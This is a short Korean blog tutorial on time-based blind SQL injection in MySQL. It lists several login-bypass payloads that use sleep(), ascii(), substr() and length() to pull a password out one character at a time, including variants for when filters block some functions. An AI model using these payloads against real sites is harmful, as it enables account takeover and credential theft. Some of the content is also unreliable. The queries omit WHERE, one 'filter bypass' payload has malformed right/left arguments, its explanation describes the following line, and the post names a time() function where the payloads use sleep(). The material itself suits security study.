Time Based SQL Injection은 말 그대로 시간을 이용한 공격이다.

왠만한 Blind SQL Injection을 했을때 결과가 참인지 거짓인지 알수 없을때 이 방법을 시도 해보는것도 좋다.

주로 time()함수와 benchmark()함수가 이용된다.


select * from user id='admin' and pw=' ' and if(ascii(substr(pw,1,1))<=120,sleep(3),0)#';


이 함수는 pw의 첫번째 문자가 아스키값 120이하라면 sleep 함수를 통해 3초동안 쉬는 공격 구문이다.

if()함수가 막히면 이렇게도 할 수 있다.

select * from user id='admin' and pw=' ' and sleep(ascii(substr(pw,1,1)))#';

pw의 첫번째 문자의 아스키 값만큼 시간을 지연시킨다. 물론 효율적인 공격 코드를 짜기 위해서 시간을 빼거나 나누어 주면 된다.


만약 substr()과 if()함수가 막혔다면 이렇게도 할 수 있다.


select * from user id='admin' and pw=' ' or (sleep(right(left(pw),1,1)))#';


이렇게 된다면 pw의 길이만큼 시간을 지연시킨다.

select * from user id='admin' and pw=' ' or (sleep(length(pw)))#';


공격을 하기전에 미리 길이를 알아놓을떄 편하다.


물론 이 글도 기억나는 대로 추가하겠습니다.

'Web Hacking' 카테고리의 다른 글

SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24

+ Recent posts